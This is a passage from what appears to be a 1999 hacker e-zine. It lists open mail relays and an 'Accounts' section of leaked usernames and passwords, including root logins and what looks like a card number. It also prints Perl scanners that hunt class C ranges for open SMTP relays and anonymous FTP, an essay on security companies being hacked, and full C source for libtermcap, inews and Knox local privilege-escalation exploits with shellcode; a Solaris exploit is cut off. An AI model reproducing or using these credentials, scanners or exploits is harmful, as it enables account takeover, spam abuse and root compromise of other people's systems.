140.254.114.178 [latency: 09/10/99 17:19:40 PDT]
smtp.netzero.net [latency: 09/10/99 08:36:04 PDT]
smtp.mail.com [latency: 09/10/99 01:52:46 PDT by neron]
ibm.net [latency: 09/09/99 20:29:44 PDT by aNaS]
config2.il.us.ibm.net [latency: 09/09/99 20:29:22 PDT by aNaS]
patent.womplex.ibm.com [latency: 09/09/99 20:28:13 PDT by aNaS]
partners.boulder.ibm.com [latency: 09/09/99 20:27:37 PDT by aNas]
ncc.hursley.ibm.com [latency: 09/09/99 20:27:03 PDT by aNas]
mail.ichadmin.uk.ibm.com [latency: 09/09/99 20:26:42 PDT by aNas]
config1.il.us.ibm.net [latency: 09/09/99 20:26:20 PDT by aNaS]
bugtiz.com [latency: 09/09/99 20:24:40 PDT by aNaS]
anas17.net [latency: 09/09/99 20:23:59 PDT by aNaS]
mail.net-magic.net [latency: 09/09/99 17:21:08 PDT by this'n really works!]
smtp.apolloweb.net [latency: 09/08/99 12:52:07 PDT by aNaS]
anas17.com [latency: 09/08/99 12:50:47 PDT by aNAS]
smtp-gw01.ny.us.ibm.net [latency: 09/08/99 12:50:02 PDT by aNaS]
ultra.unt.se [latency: 09/06/99 16:53:47 PDT by Razzon]
130.91.28.211 [latency: 09/06/99 16:52:49 PDT by Razzon]
203.102.153.226 [latency: 09/06/99 16:52:30 PDT by Razzon]
sierrasource.com [latency: 09/06/99 14:05:42 PDT]
pop.casema.net [latency: 09/05/99 14:23:16 PDT]
maxking.com [latency: 09/04/99 17:06:49 PDT by AcidFire]
ns1.peoples.com.ar [latency: 09/02/99 21:13:37 PDT by Merry Michael]
hell.com [latency: 09/01/99 20:55:09 PDT by InsaneOne]
springfield.mec.edu [latency: 09/01/99 10:59:51 PDT]
hotpop.com [latency: 08/29/99 22:26:53 PDT by Scalpel]
164.109.1.3:22 [latency: 08/28/99 14:38:59 PDT]
mail.compuserve.com [latency: 08/28/99 03:08:25 PDT]
smtp.i.wanna.fuck.ur.mother.com [latency: 08/27/99 01:47:47 PDT by I Wanna Fuck Your Mo]
smtp.mail.com [latency: 08/27/99 01:46:54 PDT by Mail.Com User]
smtp.tm.net.my [latency: 08/27/99 01:45:47 PDT by TMNet User]
smtp.jaring.my [latency: 08/27/99 01:45:09 PDT by Jaring User]
pop.netsoc.ucd.ie [latency: 08/26/99 09:02:54 PDT]
pop.site1.csi.com [latency: 08/26/99 02:29:48 PDT by RuCKuS]
mail.cut.org [latency: 08/24/99 10:03:44 PDT by neron sux dick]
host.phc.igs.net [latency: 08/24/99 04:18:56 PDT]
smtp.phc.igs.net [latency: 08/24/99 04:17:19 PDT]
zeus.ax.com [latency: 08/23/99 21:27:05 PDT by Messiah]
smtp.ifrance.com [latency: 08/23/99 10:48:42 PDT by k-tEAR]
smtp.obase.com [latency: 08/21/99 18:34:14 PDT by Arthur Dent]
mail.hackers.com [latency: 08/21/99 13:48:52 PDT by ^Omega]
mail.porn.com [latency: 08/21/99 13:47:52 PDT by ^Omega]
wsnet.ru [latency: 08/21/99 05:27:04 PDT by telotrin]
ugansk.wsnet.ru [latency: 08/21/99 05:26:24 PDT by telotrin]
mail.ugansk.intergrad.com [latency: 08/21/99 05:17:33 PDT by telotrin]
smtp-khi2.super.net.pk [latency: 08/19/99 13:13:28 PDT by Manch]
graham.nettlink.net.pk [latency: 08/19/99 13:11:09 PDT by Manch]
mail.cut.org [latency: 08/19/99 11:14:08 PDT by néron]
mail.cyberamy.com [latency: 08/19/99 11:06:38 PDT]
mail.mendes-inc.com [latency: 08/19/99 04:40:45 PDT by RALPH]
zoooom.net [latency: 08/18/99 19:34:39 PDT by kopkila]
smtp.ozemail.com.au [latency: 08/16/99 07:58:10 PDT]
mailgw.netvision.net.il [latency: 08/14/99 23:04:29 PDT by Anton]
smtp.mail.ru [latency: 08/14/99 23:03:40 PDT by Anton]
purg.com [latency: 08/13/99 17:38:57 PDT]
jeg.eier.holmlia.com [latency: 08/13/99 05:24:16 PDT by Music-BoY]
saintmail.net [latency: 08/12/99 07:20:17 PDT by trinity]
pop.fast.co.za [latency: 08/12/99 07:19:21 PDT]
smtp2.zdlists.com [latency: 08/11/99 15:47:30 PDT by Razzon]
mail.eexi.gr [latency: 08/10/99 15:10:26 PDT]
mail.cyberamy.com [latency: 08/08/99 20:36:08 PDT by noname]
gilman.org [latency: 08/08/99 13:19:37 PDT]
mail.friendsbalt.org [latency: 08/08/99 13:19:21 PDT]
cache-rb03.proxy.aol.com [latency: 08/07/99 09:41:00 PDT by Buddy McKay]
merlin.sicher.priv.at [latency: 08/06/99 21:29:33 PDT by DeadWrong]
smtp.infovia.com.gt [latency: 08/06/99 17:22:27 PDT]
zoooom.net [latency: 08/06/99 11:14:00 PDT by CrazyNiga]
aol.net.pk [latency: 08/06/99 11:13:43 PDT by CrazyNigaq]
169.207.154.209 [latency: 08/05/99 22:02:06 PDT by Razzon]
cpqsysv.ipu.rssi.ru [latency: 08/04/99 01:31:17 PDT]
hell.org [latency: 08/03/99 21:41:46 PDT by Suid Flow]
205.188.192.57 [latency: 08/03/99 21:27:53 PDT by vegan_5]
216.192.10.4 [latency: 08/03/99 21:27:22 PDT by vegan_5]
mail.net-magic.net [latency: 08/03/99 16:18:49 PDT by Micheal Layland]
mail.sojourn.com [latency: 08/03/99 15:01:38 PDT by ZeScorpion]
mail.q-texte.net.ma [latency: 08/03/99 13:10:51 PDT by LeSaint]
mail.netvision.net.il [latency: 08/03/99 11:04:03 PDT]
fasolia-louvia.com.cy [latency: 08/03/99 02:27:46 PDT by blah]
mail.direct.ca [latency: 08/02/99 21:46:52 PDT]
Spacewalker.wanna.join.it.com [latency: 08/01/99 15:40:28 PDT]
mail.start.com.au [latency: 08/01/99 07:27:25 PDT by QuaKeee]
mail.vestelnet.com [latency: 08/01/99 07:26:41 PDT by QuaKeee]
205.149.115.147 [latency: 08/01/99 04:06:16 PDT by KeKoA]
bareed.ayna.com [latency: 07/30/99 07:03:24 PDT]
youthnet.org [latency: 07/30/99 01:11:21 PDT by vegan_%]
inext.ro [latency: 07/28/99 14:35:02 PDT by latency]
iccnet.icc.net.sa [latency: 07/28/99 14:02:54 PDT by none]
mail.eexi.gr [latency: 07/27/99 15:39:30 PDT]
mail.dnt.ro [latency: 07/27/99 01:00:59 PDT by DitZi]
mail.compuserve.com [latency: 07/26/99 13:11:15 PDT by CyberNissart]
pg.net.my [latency: 07/25/99 09:23:19 PDT by [X]r3Wt]
scholar.cc.emory.edu [latency: 07/24/99 14:49:04 PDT by Cougar]
imail.young-world.com [latency: 07/24/99 08:34:44 PDT by The Lord]
mail.cut.org [latency: 07/22/99 17:40:19 PDT by AniXter]
205.244.102.167 [latency: 07/22/99 14:47:28 PDT by Razzon]
relay.cyber.net.pk [latency: 07/22/99 03:24:48 PDT by crush2]
mail.lanalyst.nl [latency: 07/22/99 00:55:18 PDT by phobetor]
mail.lig.bellsouth.net [latency: 07/22/99 00:48:27 PDT by Deth Penguin]
batelco.com.bh [latency: 07/21/99 12:54:53 PDT by asswipe]
ns1.infonet-dev.co.jp [latency: 07/20/99 18:25:11 PDT by bokuden]
inext.ro [latency: 07/20/99 15:11:39 PDT by the_aDb]
siamail.sia.it [latency: 07/20/99 13:07:27 PDT by The Lord]
Accounts
~~~~~~~~
usa.net login fasaraxs : 77fasaraxs77 [latency: 10/14/99 19:56:47 EDT by ad]
ftp.pioneeris.net login thunderz : vinnie [latency: 10/14/99 17:49:01 EDT by CRTLBL1159]
microsoft.com login skyhawk : 07011971 [latency: 10/14/99 15:38:31 EDT]
www.dalnet.com login houhou : nounou [latency: 10/12/99 14:59:04 EDT by haissam]
www.adultcheck.com login 8276791110 : Life time! [latency: 10/12/99 09:29:02 EDT by Malcolmx-]
DAMN, MANY THAT WORKS.COM login FUCK : YOU [latency: 10/11/99 12:57:55 EDT by GAY MAN]
what.com;id login a : b [latency: 10/11/99 12:14:07 EDT by c]
www.hotmail.com login sc_ous_er : iuytrewq [latency: 10/09/99 13:16:35 PDT by santa]
www.hotmail.com login hananboro : gal92792 [latency: 10/09/99 05:54:53 PDT by hananb]
www.skyrock.com in forum login jonathan : jonathan [latency: 10/09/99 04:31:19 PDT by CuTkiL3r2]
198.110.16.89 login guest : guest [latency: 10/08/99 21:28:57 PDT]
ns1.snv1.gctr.net login BoEhSeRxOnKeL : sth [latency: 10/08/99 17:04:29 PDT by merlin]
liquid.cc login ady007 : adyady* [latency: 10/08/99 16:47:15 PDT by Ady007]
thirdpig.com login root : blank [latency: 10/08/99 13:18:15 PDT by Da-lamah]
www.tripod.com login radus : sefu [latency: 10/08/99 11:19:06 PDT]
www.celebrityx.com login george1231 : power [latency: 10/07/99 03:55:18 PDT by LoGi[C]]
www.hotmail.com login lauralee_atu : goodlord [latency: 10/06/99 17:58:36 PDT by Please_delete_me]
www.hotmail.com login habibpublic : slave [latency: 10/06/99 14:08:33 PDT]
myownemail.com login kazboross : zero [latency: 10/05/99 04:40:17 PDT by Vlad]
198.110.16.89 login guest : guest [latency: 10/05/99 03:59:12 PDT by initd_]
www.infohack.org login oculto : WARNING [latency: 10/05/99 03:56:28 PDT by El Hispano]
www.infohack.org login SECRET : WARNING [latency: 10/05/99 03:56:12 PDT by El Hispano]
www.infohack.org login secreto : WARNING [latency: 10/05/99 03:55:32 PDT by ElHispano]
www.hotmail.com login habibpublic : slave [latency: 10/05/99 02:59:51 PDT by Death-Maniac]
www.logone.net login tfarrukh : rbroots [latency: 10/05/99 02:59:05 PDT by DeSeRt-StAr]
microsoft.com login skyhawk : 07011971 [latency: 10/03/99 20:31:10 PDT by shiva717]
fx.ro login eddy : mese [latency: 10/03/99 18:10:59 PDT]
www.hotmail.com login cha_krey : 519919 [latency: 10/02/99 22:35:31 PDT]
www.hotmail.com login clements_john : 56163035616303 [latency: 10/01/99 00:58:51 PDT]
codetel.net.do login d.ortega.v : 0070 [latency: 09/29/99 10:31:47 PDT by daniel]
www.hotmail.com login cmcgee98 : password [latency: 09/28/99 21:40:10 PDT]
mail.yahoo.com login datainfo_1999 : 74galaxie [latency: 09/28/99 21:39:42 PDT]
www.nightmail.com login jammer97 : rustyvolvo [latency: 09/28/99 21:38:15 PDT]
www.hotmail.com login ShreaderUT : SliderUT [latency: 09/28/99 16:23:13 PDT by TIMI]
lame.ccl.pt login Kayp : paulo.lle [latency: 09/28/99 12:34:24 PDT by FractalFaG]
www.warez.com login webmaster : wAr3z4dM1n [latency: 09/28/99 10:51:40 PDT by W00f3R]
jal1.telmex.net.mx login sulma : sulma [latency: 09/28/99 06:40:16 PDT]
Sezampro.yu login br.jovanovic : 60a95m96 [latency: 09/27/99 20:01:55 PDT]
hercule.muscel.ro login gciuca : iubisiiris [latency: 09/27/99 15:32:42 PDT]
www.hotmail.com login davidmadeira : giboia [latency: 09/27/99 14:26:47 PDT]
lame.ccl.pt login root : weareallfags [latency: 09/27/99 14:24:59 PDT]
cyber.net.pk login rehman : sexygirl [latency: 09/27/99 14:07:55 PDT by SomeOneFromHeaven]
zoooom.net login Noman : 687kan [latency: 09/27/99 14:06:49 PDT by SomeOneFromHeaven]
www.ibm.net login meraman : teraman [latency: 09/27/99 14:05:54 PDT by SomeOneFromHeaven]
super.net.pk login shahid : G12ThY [latency: 09/27/99 14:02:35 PDT by SomeOneFromHeaven]
shell.icon.co.za login compaq : scorer [latency: 09/27/99 12:36:58 PDT]
bocholt.de login root : root [latency: 09/26/99 09:07:32 PDT]
209.183.86.96 login ltlramsey : yesmar82 [latency: 09/25/99 11:16:10 PDT]
enterprise.soongsil.ac.kr login proppy : fuckme [latency: 09/25/99 03:16:12 PDT]
www.paymentnet.com login antony : kblecbpp [latency: 09/25/99 02:55:46 PDT]
www.visa.com login Charles _Filart : Exp_ 3/01 [latency: 09/25/99 02:40:07 PDT]
www.cvasnetwork.com login zebra : ZebraTech [latency: 09/25/99 02:37:47 PDT]
www.hotmail.com login ShreaderUT : SliderUT [latency: 09/24/99 16:55:41 PDT by Syco]
207.121.191.105 login root : ********? [latency: 09/24/99 12:14:46 PDT by wh0now?]
202.134.2.5 login letme know if got it : letme know if got it [latency: 09/23/99 11:14:14 PDT]
shell.icon.co.za login compaq : scorer [latency: 09/23/99 08:17:18 PDT by dean]
tm.net.my login skkbp : usaha1 [latency: 09/22/99 21:48:02 PDT]
www.hotmail.com login swinger : knockers [latency: 09/22/99 13:11:55 PDT]
proxy4.emirates.net.ae login Usa : susu [latency: 09/22/99 09:38:05 PDT by min]
jaring.my login eriz : namzire [latency: 09/22/99 02:13:51 PDT by eriz]
fya2000.com = windows newbies login hybr|d : 666 [latency: 09/21/99 23:26:47 PDT by satan]
chat.groovy.gr login mc : mc [latency: 09/21/99 13:49:07 PDT by mc2]
www.visa.com login Charles _Filart : Exp_ 3/01 [latency: 09/20/99 20:39:51 PDT by #4921-0100-1255-0023]
www.hotmail.com login atrocity : drugstore [latency: 09/20/99 11:02:56 PDT]
www.gayarmy.com login cyber : army [latency: 09/18/99 05:55:21 PDT]
netvision.net.il login root : adm353 [latency: 09/18/99 05:36:05 PDT]
www.thepoison.org login Robbie : isastupidjew [latency: 09/17/99 04:54:51 PDT by KoRN]
whitehouse.gov login bill : Babe [latency: 09/16/99 09:49:51 PDT by Tete]
aol.com login CATWatch01 : ggcmad [latency: 09/14/99 20:32:10 PDT by ph33r m3]
mail.yahoo.com login phillip_woodland : tintree50 [latency: 09/14/99 11:47:21 PDT by Mark Eades]
fristaden.nu login hgniste : hgniste [latency: 09/14/99 04:07:05 PDT]
193.68.180.35 login ksx : klll.ss [latency: 09/13/99 21:57:10 PDT]
202.183.228.9 login petertan : 2333226 [latency: 09/13/99 07:44:10 PDT by petertan]
202.134.2.5 login letme know if got it : letme know if got it [latency: 09/12/99 18:13:23 PDT by telkom.net.id ]
194.142.110.145 login choose serv type 1 : SECRET [latency: 09/12/99 15:15:40 PDT by I hate that school]
24.0 SMTP Relay scanner
~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl
use Socket;
use Net::SMTP;
my $MAXPIDS=250;
my $TESTFROM="YOUR\@EMAIL.HERE";
my $TESTTO="OTHER\@EMAIL.ADDRESS";
my $HELP=q
{Usage: perl relaycheck.pl [-h | --help] host
};
my @hosts;
for $_ (@ARGV){
if(/^--(.*)/){
$_=$1;
if(/help/){
print $HELP;
exit(0);
}
}
elsif(/^-(.*)/){
$_=$1;
if(/^h/ or /^?/){
print $HELP;
exit(0);
}
}else{
push @hosts,$_;
}
}
if(!$hosts[0]){
print $HELP;
exit(-1);
}
my $host;
print "relaycheck v0.3 by dave weekly <dew\@cs.stanford.edu>\n\n";
# bury dead children
$SIG{CHLD}= sub{wait()};
# go through all of the hosts, replacing subnets with all contained IPs.
for $host (@hosts){
$_=shift(@hosts);
# scan a class C
if(/^([^.]+)\.([^.]+)\.([^.]+)$/){
my $i;
print "Expanding class C $_\n";
for($i=1;$i<255;$i++){
my $thost="$_.$i";
push @hosts,$thost;
}
}
else{
push @hosts,$_;
}
}
my @pids;
my $npids=0;
for $host (@hosts){
my $pid;
$pid=fork();
if($pid>0){
$npids++;
if($npids>$MAXPIDS){
for(1..($MAXPIDS/2)){
if(wait()>0){
$npids--;
}
}
}
next;
}elsif($pid==-1){
print "fork error\n";
exit(0);
}else{
$ARGV0="(checking $host)";
my($proto,$port,$sin,$ip);
$proto=getprotobyname('tcp');
$port=25;
$ip=inet_aton($host);
if(!$ip){
print "couldn't find host $host\n";
exit(0);
}
$sin=sockaddr_in($port,$ip);
socket(Sock, PF_INET, SOCK_STREAM, $proto);
if(!connect(Sock,$sin)){
# print "couldn't connect to SMTP port on $host\n";
exit(0);
}
close(Sock);
# SOMETHING is listening on the mail port...
my $smtp = Net::SMTP->new($host, Timeout => 30);
if(!$smtp){
# print "$host doesn't have an SMTP port open.\n";
exit(0);
}
my $domain = $smtp->domain();
# print "host $host identifies as $domain.\n";
$smtp->mail($TESTFROM);
if($smtp->to($TESTTO)){
print "SMTP host $host [$domain] relays.\n";
}else{
print "SMTP host $host [$domain] does not relay.\n";
}
$smtp->reset();
$smtp->quit();
exit(0);
}
}
print "done spawning, $npids children remain\n";
# wait for my children
$|=1;
for(1..$npids){
my $wt=wait();
if($wt==-1){
print "hey $!\n";
redo;
}else{
# print "$wt\n";
}
}
print "Done\n";
@HWA
25.0 FTP relay checker/scanner
~~~~~~~~~~~~~~~~~~~~~~~~~
#!/usr/bin/perl
########################################################
# ftpcheck v0.31 [November 2, 1998]
# http://david.weekly.org/code
#
# by David Weekly <dew@cs.stanford.edu>
#
# Thanks to Shane Kerr for cleaning up the process code!
#
# This code is under the GPL. Use it freely. Enjoy.
# Debug. Enhance. Email me the patches!
########################################################
use Socket;
use Net::FTP;
# timeouts in seconds for creating a socket and connecting
my $MAX_SOCKET_TIME = 2;
my $MAX_CONNECT_TIME = 3;
my $HELP=qq{Usage: ftpcheck [-h | --help] [-p processes] [-d | --debug] host};
my @hosts;
# how many simultaneous processes are we allowed to use?
my $MAX_PROCESSES=10;
my $DEBUG=0;
while($_=shift){
if(/^--(.*)/){
$_=$1;
if(/help/){
print $HELP;
exit(0);
}
if(/debug/){
$DEBUG=1;
}
}
elsif(/^-(.*)/){
$_=$1;
if(/^h/ or /^\?/){
print $HELP;
exit(0);
}
if(/^p/){
$MAX_PROCESSES=shift;
}
if(/^d/){
$DEBUG=1;
}
}else{
push @hosts,$_;
}
}
if(!$hosts[0]){
print $HELP;
exit(-1);
}
my $host;
$|=1;
print "ftpcheck v0.31 by dave weekly <dew\@cs.stanford.edu>\n\n";
# go through all of the hosts, replacing subnets with all contained IPs.
for $host (@hosts){
$_=shift(@hosts);
# scan a class C
if(/^([^.]+)\.([^.]+)\.([^.]+)$/){
my $i;
print "Expanding class C $_\n" if($DEBUG);
for($i=1;$i<255;$i++){
my $thost="$_.$i";
push @hosts,$thost;
}
}
else{
push @hosts,$_;
}
}
my @pids;
my $npids=0;
for $host (@hosts){
my $pid;
$pid=fork();
if($pid>0){
$npids++;
if($npids>=$MAX_PROCESSES){
for(1..($MAX_PROCESSES)){
$wait_ret=wait();
if($wait_ret>0){
$npids--;
}
}
}
next;
}elsif(undef $pid){
print "fork error\n" if ($DEBUG);
exit(0);
}else{
my($proto,$port,$sin,$ip);
print "Trying $host\n" if ($DEBUG);
$0="(checking $host)";
# kill thread on timeout
local $SIG{'ALRM'} = sub { exit(0); };
alarm $MAX_SOCKET_TIME;
$proto=getprotobyname('tcp');
$port=21;
$ip=inet_aton($host);
if(!$ip){
print "couldn't find host $host\n" if($DEBUG);
exit(0);
}
$sin=sockaddr_in($port,$ip);
socket(Sock, PF_INET, SOCK_STREAM, $proto);
alarm $MAX_CONNECT_TIME;
if(!connect(Sock,$sin)){
exit(0);
}
my $iaddr=(unpack_sockaddr_in(getpeername(Sock)))[1];
close(Sock);
# SOMETHING is listening on the FTP port...really ftp server?
print "listen $host!\n" if($DEBUG);
alarm 0;
$hostname=gethostbyaddr($iaddr,AF_INET);
# create new FTP connection w/5 second timeout
$ftp = Net::FTP->new($host, Timeout => 5);
if(!$ftp){
print " <$host ($hostname) denied you>\n" if($DEBUG);
exit(0);
}
if(!$ftp->login("anonymous","just\@checking.com")){
print " FTP on $host [$hostname]\n";
exit(0);
}
print "Anon FTP on $host [$hostname]\n";
$ftp->quit;
exit(0);
}
}
print "done spawning, $npids children remain\n" if($DEBUG);
# wait for my children
for(1..$npids){
my $wt=wait();
if($wt==-1){
print "hey $!\n" if($DEBUG);
redo;
}
}
print "Done\n";
@HWA
26.0 The last line of defence, Broken by Brian Martin
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From http://www.securityfocus.com/
The Last Line of Defense, Broken by Brian Martin
<bmartin@attrition.org> Wed Oct 06 1999
The Last Line of Defense, Broken The Public Perception of Security
Companies Getting Compromised
Every so often, the protectors of your most important digital resources get
hit with a little mud in the face. The so-called last line of defense is
broken, and the security company protecting your networks falls victim
to the ones they work against. It happens, possibly more often than you
realize, and it will continue to happen.
The question to ask is what can be gleaned from a network security company
getting hacked. Does it adversely affect business and undermine the trust
and confidence customers place in them? Or is it fair warning that
anyone is vulnerable to attack and a grim reality we must face in today's
networked world?
Perhaps it is a little of both.
Security companies are there to offer security to companies lacking the
ability to protect themselves. Further, they are the publicly-perceived
experts in all things security related. Their software, consulting
services, and superior knowledge of computers are but a small part of the
aresenal they use to keep malicious intruders out of your networks. At what
point do these resources break down and allow someone to compromise even a
security firm's security?
The Race Condition
Those familiar with the technical side of UNIX security may recall many
older exploits that relied on winning a Race Condition to achieve increased
access. The concept of these attacks are that the program must beat
the system in performing a specific function or task. If the exploit
successfully beats the system to this target function, it is able to gain
elevated priveledges giving the intruder more control over the system. If
it fails the race, nothing extraordinary occurs.
Much like the Race Condition attack, security companies and intruders are
in a continued Race Condition every day. Each day the security companies
stay secure, they are winning the race. Every day a security company
is hacked, they have lost another leg of the race. Both hackers and
security professionals are looking for new bugs in software and operating
systems. Sometimes this entails elaborate testing against poorly documented
software while other times it is detailed scrutiny of tens of thousands of
lines of source code.
The entire time this race is going on, security companies are also creating
products that will hopefully protect them against entire classes of
attacks. This effort is designed to attempt to protect them from the
unknown, namely the undisclosed vulnerability that hackers have discovered
before they do. These forms of protections are currently found in the form
of firewalls, intrusion detection systems (IDS), and other specialized
security software.
Perception is Everything
Back to the original question of perception of these incidents. There are
two ways to perceive a security company failing in their own specialty:
1. The compromise of their network adversely affects business. The incident
further undermines the trust and confidence their customers place in their
ability to secure a network.
2. The compromise is fair warning that anyone is vulnerable and that there
are simply too many undiscovered bugs out there. No one can reasonably
expect security companies to find them all.
Life has taught us that things are not that simple. Our perception (should
be) based on more than the event of the hack. Rather our perception should
be based on the hack and more importantly, the company's reaction to
the incident. There are two basic ways a security company can react to an
intrusion of their own network (assuming it is publicly known):
1. Admit there was a lapse in their own security and a network intrusion
occured. Water under the bridge and a pledge to do better.
2. The government way: cover it up. Disavow! Never happened! If no
customers know (or more to the point believe) an intrusion occured, then
there is no loss of integrity and disaster has been averted.
As logical and honorable as it sounds, not all security companies will
admit to incidents that hurt their reputation. The downside to this course
of action is when the public does find out. Like all things political, it
escalates the incident into an embarassing failed coverup worthy of
tabloids.
Because many people believe admitting such things is automatic grounds for
laughter and snide remarks, they take the low road and cover up.
Rather than lie or attempt to obscure prior incidents, these companies must
learn that it is a fact of life and they need to move on. Use these times
of turmoil as motivation to achieve better security for them and their
clients. Turn the negative into a positive.
Track Record
Some readers may be trying to think of what security companies have been
victims of this and have had to deal with this. In the past year, each of
these security sites have been publicly defaced:
Network Security www.networksecurity.org Secure
Service www.secure-service.org Securities Software
www.securitiessoftware.com Secure Transfer www.secure-transfer.com
AntiOnline www.antionline.com Security Net www.securitynet.net Network
Flight Recorder www.nfr.net Symantec www.symantec.com
Companies such as NFR who design Intrusion Detection Systems are
particularly vulnerable to reputation damage over such incidents. Sites
such as AntiOnline that continually boast about their own security
often find such defacements more embarassing as well.
Worse Than Being Attacked
Yes, security companies face one thing worse than being hacked and having
their web page defaced. The rumor of getting hacked. Once rumors get
started, people demand answers and often won't settle on an answer
until it is the one they wish to hear. Conspiracy-driven minds will not
believe the truth no matter how many times it is told. This suspicion is
often fueled by prior incidents in which companies have attempted to cover
up intrusions.
If SecurityCo Inc. has been talked about and rumors are floating around
they were defaced, they are in a horrible position. Even if they respond
truthfully and tell their customers they remain secure and have not
experienced any network intrusions, some people will believe it to be a
coverup. Despite there being no proof a company was hacked, no mirror of a
web defacement and nothing more than "I heard", people often cling to the
idea of it.
FIN
The act of a security company getting hacked and possibly defaced can be
damaging, it's true. However, lying or trying to obscure such incidents can
be much more damaging. If a company that created your best lines of
defense gets hacked, understand that the security game is not an absolute.
Everyone is vulnerable at one point or another. What should we think about
our protectors falling victim? The choice is up to you but remember: no one
is perfect.
@HWA
27.0 libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From http://www.hack.co.za
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
// yet another lame libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback)
// only made this to bypass nonexecutable stack patches - http://teso.scene.at/
// Redhat 6 offsets (i only needed these)
int sys = 0x401bca40; // system
int sh = 0x4025ab12; // /bin/sh
int exi = 0x4020b910; // _exit
int ran = 0x401b9928; // random offset in libc
int eip = 2136;
#define fil "/tmp/teso_termcap"
#define xte "/usr/X11R6/bin/xterm"
#define entry "xterm|"
int main(int argc, char **argv) {
char *buf;
int fd, buflen;
argv++;
if (argc>1) // dec,!hex args
sys = atoi(*(argv++));
if (argc>2)
sh = atoi(*(argv++));
if (argc>3)
exi = atoi(*(argv++));
if (argc>4)
eip = atoi(*(argv++));
buflen = eip + 20;
buf = (char *) malloc(buflen);
memset(buf, 'x', buflen);
buf[buflen] = 0;
memcpy(buf, entry, strlen(entry));
memcpy (buf+buflen-4,":\\y",3);
memcpy(buf+eip,&sys,4);
memcpy(buf+eip+4,&exi,4);
memcpy(buf+eip+8,&sh,4);
memcpy(buf+eip+12,&ran,4);
if ( (fd = open(fil, O_WRONLY|O_CREAT|O_TRUNC, "644"))<0) {
perror("cannot create file");
exit(EXIT_FAILURE);
}
write(fd,buf,buflen);
close(fd);
free(buf);
setenv("TERMCAP", fil, 1);
execl(xte, "xterm", NULL);
exit(EXIT_SUCCESS);
}
@HWA
28.0 inews exploit, returns inews gid
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From http://www.hack.co.za
/*
* inews exploit , gives you the inews egid .
* bawd@kitetoa.com
* greetz to nitro,shivan,rfp & Minus :)
*
*
* RET addresses change between RH 5.2 ,6.0 etc..
*
* RH 5.2 RET = 0xbffff6f0
* RH 6.0 RET = 0xbffff6e0 :> pretty hard to guess huhuhu..
*
* * *
* INN version 2.2 and earlier have a buffer
* overflow condition in inews program allowing
* any attacker to gain news group privileges.
*
* ISC INN 2.2, 2.1, 2.0, 1.7.2, 1.7, 1.5.1
* RedHat Linux 6.0, 5.2, 5.1, 5.0, 4.2, 4.1
* * *
*
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#define DEFAULT_OFFSET 0
#define BUFFER_SIZE 540
#define RET 0xbffff6f0
main (int argc, char *argv[])
{
FILE *fp;
int offset = 0;
char *buff = NULL;
int i;
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07"
"\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12"
"\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8"
"\xd7\xff\xff\xff/bin/sh";
if (argc > 1)
offset = atoi (argv[1]);
buff = malloc (1024);
if (!buff)
{
printf ("malloc isnt working\n");
exit (0);
}
memset (buff, 0x90, BUFFER_SIZE);
for (i = 100; i < BUFFER_SIZE - 4; i += 4)
*(long *) &buff[i] = RET + offset;
memcpy (buff + (100 - strlen (execshell)), execshell, strlen (execshell));
if ((fp = fopen ("filez", "w")) != NULL)
{
fprintf (fp, "From: %s\nSubject: y0\nNewsgroups: yaya le chat\n\n\n\n\n", buff);
fclose (fp);
execl ("/usr/bin/inews", "inews", "-h", "filez", NULL);
}
else {
printf ("Couldnt open file : filez\n");
exit (0);
}
}
/* www.hack.co.za */
@HWA
29.0 nlservd/rnavc local root exploit for Linux x86
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/*
* nlservd/rnavc local root exploit for Linux x86
* tested on SuSE 6.2 exploits Arkiea's Knox backup package.
* gcc -o knox knox.c
* ./knox <offset> <buflen>
*
*
* NOTE: you *MUST* have void main(){setuid(geteuid());
* system("/bin/bash");}
* compiled in /tmp/ui for this to work.
*
* To exploit rnavc, simply change the execl call to
* ("/usr/bin/knox/rnavc", "rnavc", NULL)
* -Brock Tellier btellier@webley.com
*/
#include <stdlib.h>
#include <stdio.h>
char exec[]= /* Generic Linux x86 running our /tmp program */
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/tmp/ui";
#define LEN 2000
#define NOP 0x90
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
void main(int argc, char *argv[]) {
int offset=0;
int i;
int buflen = LEN;
long int addr;
char buf[LEN];
if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);
}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]);
}
else {
offset=2800;
buflen=1200;
}
addr=get_sp();
fprintf(stderr, "Arkiea Knox backup package exploit\n");
fprintf(stderr, "For nlservd and rnavc\n");
fprintf(stderr, "Brock Tellier btellier@webley.com\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);
memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),exec,strlen(exec));
for(i=((buflen/2) + strlen(exec))+3;i<buflen-4;i+=4)
*(int *)&buf[i]=addr+offset;
setenv("HOME", buf, 1);
execl("/usr/knox/bin/nlservd", "nlservd", NULL);
}
@HWA
30.0 Generic Solaris x86 exploit program by Brock Tellier
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
/*
* Generic Solaris x86 exploit program by Brock Tellier
* For use against any x86 sgid binary
* Shellcode by Cheez Whiz (fixes problem with
